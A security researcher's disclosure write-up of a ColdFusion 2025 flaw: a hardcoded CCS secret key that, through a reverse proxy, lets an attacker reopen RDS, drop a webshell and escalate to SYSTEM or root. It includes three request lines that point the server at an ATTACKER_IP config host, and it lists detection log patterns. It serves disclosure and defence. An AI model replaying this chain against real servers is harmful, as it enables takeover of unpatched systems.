CVE-2026-71387: The Hardcoded Key Behind Every ColdFusion 2025 Install

I started this looking for something much smaller.

Adobe ColdFusion ships a debugging feature called RDS, Remote Development Services, that lets a developer read and write files on the server over HTTP. A newer control, pathfilter.json, is supposed to stop that feature from writing into places it shouldn't, like the webroot. I found a way past it. Three months and one privilege escalation later, that turned into CVE-2026-71387: a secret key hardcoded identically into every standard ColdFusion 2025 installer, severe enough to walk from zero access to SYSTEM, and, behind a reverse proxy, reachable from the open internet rather than just the local network.

CVSS 3.1: 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), CWE-863 Incorrect Authorization, per NVD. CVSS and Adobe's own severity rating are two different scales. 8.8 is the CVSS score. Adobe's bulletin rates it Critical regardless.

Affected: ColdFusion 2025, every standard installer path (Windows GUI, Windows ZIP, Linux ZIP, macOS ZIP). Docker isn't affected: it generates a random key per container instead of shipping the fixed one.

Fixed in: APSB26-90, published August 11, 2026.

Also in APSB26-90: CVE-2026-34635, a separate CWE-321 (Use of Hard-coded Cryptographic Key) issue in the same release. That one's a cryptographic weakness in a key. CVE-2026-71387 is a missing authorization check on the endpoint a key gates.

Where it started: RDS and pathfilter.json

pathfilter.json blocks writes to certain paths when they come through scheduled tasks or CAR file deployment. I tested a scheduled task write to /app/test.txt on the official ColdFusion Docker image and got exactly the rejection it's supposed to produce:

The specified path: /app/test.txt is not allowed for scheduled tasks.
To allow it, whitelist the path in cf-root/lib/pathfilter.json
against key schedulerexecutionpaths.

The same path, written through RDS FILEIO instead of a scheduled task, went through with no complaint. The Docker image runs RDS by default with the password admin, so the whole thing needed no account and no prior access: build an RDS FILEIO WRITE request, point it at the webroot, drop a one-line .cfm webshell, request it. It came back running as cfuser.

Adobe's bounty triage marked it out of scope. Their ColdFusion test plan requires the Lockdown installer to be in place, and I'd tested the bare Docker image. Fair, per the policy.

What a locked-down install actually blocks

I rebuilt the test against ColdFusion 2025 Update 7 with the Auto-Lockdown installer applied. RDS was locked, as it should be: an RDS FILEIO request now came back -100: Unable to authenticate on RDS server. That part worked.

What Auto-Lockdown doesn't touch is the Central Config Server, or CCS, a feature that lets ColdFusion pull configuration changes from a remote source over HTTP. Access is gated by a secret key, ccssecretkey, stored in cfusion/lib/ccs/ccs.properties. I checked that file on five separate fresh installs: Windows GUI, Windows ZIP, Linux ZIP, macOS ZIP, and a plain extract that was never installed. All five had the same key. None of that required touching a target: the installer itself ships with the value already in it, identical across every download. Docker is the one exception; it generates a random key at startup, which is presumably why the earlier Docker test didn't run into this in the first place.

Adobe rotated the key partway through this disclosure. I checked the new value across three more machines. Still identical everywhere. I'm not publishing either value here; the patch shipped one day before this post, so the old key is still a working credential on anything that hasn't updated yet.

The chain

With the key, CCS will accept configuration from a server you control:

GET  /centralconfigservlet/?secretkey=<key>&action=add&server=ATTACKER_IP&port=7071&protocol=http
GET  /centralconfigservlet/?secretkey=<key>&action=ccsup
POST /centralconfigservlet/?secretkey=<key>&module=neo-security.xml&serverid=99999

The third request tells ColdFusion to fetch neo-security.xml from the attacker's server. Serve it a copy of a real neo-security.xml with two values flipped, rds.enabled to true and rds.security.enabled to false, and ColdFusion applies it. RDS is back open, password check and all, on a box that was supposedly locked down. From there it's the same RDS FILEIO write as the Docker test: drop a webshell, request it, get code execution. On a Windows Auto-Lockdown box this came back nt authority\system.

There's a second act. The webshell runs as a low-privileged service account, but it can write one line into ColdFusion's startup file. On the next restart, that line runs as root. It needs an actual restart to fire, so it's more of a maintenance-window privilege escalation than an instant one, but it gets there.

Adjacent, or remote

CCS checks that the request comes from a loopback, link-local, or private address: 10.x, 172.16-31.x, 192.168.x. That reads like a real boundary until you remember how ColdFusion is usually deployed: behind a reverse proxy. When CCS sees the connection, it's seeing the proxy's socket, not the client's. Put nginx in front of ColdFusion, send the same three requests from a public IP through the proxy, and the private-IP check passes because the only IP CCS ever sees is the proxy's. I confirmed it both ways: hitting ColdFusion directly from a public IP gets invalidkey and a rejection; hitting it through nginx from the same public IP gets a full chain to shell.

That check isn't a network boundary once ColdFusion sits behind anything. It just needs the proxy to forward /centralconfigservlet/, which is the default when the proxy is passing the app through at all, and it needs ColdFusion to be able to reach out to the attacker's server for the config pull, ordinary outbound HTTPS.

The published CVSS vector still scores this AV:A, network-adjacent, since CCS restricts to an administrative network zone by default. Fine, if the box sits alone. Behind the reverse proxy nearly every production ColdFusion install actually uses, that boundary isn't there.

Getting Adobe to see it

DateEvent
2026-05-19Reported: RDS FILEIO bypasses pathfilter.json on the default Docker image
2026-05-20Escalated: hardcoded CCS key found on a Lockdown-installer build
2026-06-15Closed Informative; reopened same day with the reverse-proxy PoC
2026-06-17Triaged and forwarded to Adobe; root privilege escalation reported
2026-08-11Resolved, CVE-2026-71387 assigned, patched in APSB26-90

The report went through a fair number of rounds, which is normal for something that started as one bug and turned into a different, bigger one partway through. One closure as Informative came from a literal reading of an early repro that ran the proof-of-concept script from the ColdFusion host itself, a shortcut on my end, not the actual attack path, since the real attacker box never touches the target. Once the proxy detail showed the whole thing working from a public IP with no access to the host, the report reopened, got forwarded to Adobe for validation, and sat there for a while.

Adobe assigned CVE-2026-71387 and shipped the fix in APSB26-90, published August 11, 2026, about eight weeks after the report was forwarded for validation.

Detection

If you're checking whether this was used against you, or want to catch it going forward:

  • Requests to /centralconfigservlet/ in your access logs that you didn't originate, especially with action=add, action=ccsup, or module=neo-security.xml in the query string.
  • New or modified .cfm files in the webroot that don't trace back to your own deployment process.
  • Any change to ColdFusion's startup file you didn't make, particularly around an unplanned restart.
  • RDS traffic at all, if RDS is supposed to be off. It shouldn't be reachable in production regardless of this specific bug.

If you run ColdFusion

  • Apply the update in APSB26-90.
  • Don't treat Auto-Lockdown as a complete answer. It locks RDS. It never touched CCS.
  • If ColdFusion sits behind a reverse proxy, block /centralconfigservlet/ at the proxy, not just hope the app-level IP check catches it, because that check is looking at the wrong socket.
  • If you don't use RDS in production, which most people don't, turn it off rather than relying on the config to stay the way you left it.

Adobe's bulletin has the update and the full list of what else it fixes. If you'd rather have someone else find the next one of these before it ships in an installer, get in touch.